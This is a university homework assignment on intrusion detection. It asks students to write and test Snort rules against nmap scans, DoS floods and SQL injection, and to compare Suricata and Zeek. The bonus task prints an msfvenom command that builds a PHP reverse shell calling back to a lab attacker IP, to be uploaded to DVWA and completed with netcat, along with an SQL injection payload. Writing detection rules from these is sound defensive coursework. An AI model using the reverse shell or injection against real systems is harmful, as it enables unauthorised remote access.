Isfahan University of Technology
Network Security
Dr. Manshaei
Homework 2: Module 3 (IDS/IPS)
Deadline: Sunday 21st Aban, at 23 : 59

We only accept the homework **delivered via Yekta (yekta.iut.ac.ir), before the deadline**. If you have any question or concerns about this homework, feel free to contact Mr. Alireza Katani via Telegram: *@Arewk* (Preferred) or email: alreka1379@gmail.com.

Theoretical Questions

Q1: Name different types of IDS/IPS and explain their usage? Under what circumstances is each type utilized? What are the capabilities that each type offers you?

Q2: List and provide brief explanations for the three primary operational modes of the Snort intrusion detection system.

Q3: Please provide an explanation of different rule types supported by Snort and briefly discuss the differences between them.

Q4: Please describe each of the following options that can be used in the Snort rules and explain their purposes.

- distance
- within
- replace
- http_stat_code
- metadata

Practical Questions

Q1: For each of the specified conditions, create a corresponding Snort rule. You should also test the rule for the given scenarios and provide a screenshot for each part, accompanied by a clear explanation.

Please note that in this question, you are supposed to work with nmap. **Nmap (Network Mapper)** is a widely used open-source network scanning tool and network security assessment utility. It is designed to discover devices and services running on a computer network, and it can also provide information about their operating systems, open ports, and other network-related details. Nmap is commonly used by network administrators and security professionals to assess the security of networks, identify potential vulnerabilities, and manage network inventory. It offers a wide range of scanning techniques and features for network reconnaissance and security auditing. Installing and using this package is straightforward, but if you have any questions or concerns, don't hesitate to reach out to the teaching assistance team for assistance.

- Your system should not respond to a ping request. Test this rule with the nmap. How can we bypass this rule with nmap?
- Your system should be able to detect the Xmas scan and issue an alert for it. Test this rule with nmap.
- An alert should be issued for any DNS request issued from your system that includes the term "ADM-ROCKS" as content. You can test this rule with hping3 or other software.
- Your system should be able to detect the nmap SSH scan and issue an alert for it. First, perform the corresponding scan in Wireshark and pay attention to the packets fields. Then write a rule based to generate alert in this case. Please elaborate on whether this rule might produce false positives. As a bonus, identify which rule yields the lowest number of false positives.
- If more than 5 packets with http protocol are received in 10 seconds and S flag of packets is inactive, an alert for DOS attack will be issued. Test this rule with hping3.

- If we receive a packet that contains the phrase { $'or\ 1 = 1 --$ } in its payload, an SQL injection alert will be issued. Note that in this situation our connection is considered as a connection established with the server. Testing this rule using hping3 or owasp virtual machine will have **extra points**.
- If an http request received by your system from other network systems, and asked to access the index.php page, an alert will be issued. For example, the IP of your system is 192.168.179.148 and the other system requests 192.168.179.148/index.php in its browser. Test this rule with your browser and take screen shot from wireshark and snort output log.

Bonus Exercise

Q1: Explain about suricata intrusion detection system. Compare the capabilities of this system with snort.

Q2: Explain about zeek framework. Why is this framework known as anomaly-based IDS?

Q3: In this exercise, we are going to detect web shell attacks. First, you need to get the desired payload from the msfvenom framework (This framework is installed on Kali by default). You can create this payload with the following command. lhost, lport is related to the IP and port opened for connection in the attacking system.

```
msfvenom -p php/reverse_php LHOST=192.168.56.102 LPORT=4444 -f raw > evil.php
```

Then download and install the **owasp virtual machine**. Enter the machine's IP in the browser and go to the following address and upload the desired php file. Your task is to write a rule based on the content of the file that issues an alert when the file is uploaded. You can use netcat to complete the attack. It is necessary to send a screenshot of the alert along with the pcap file.

```
Damn Vulnearable Web Application -> File upload
```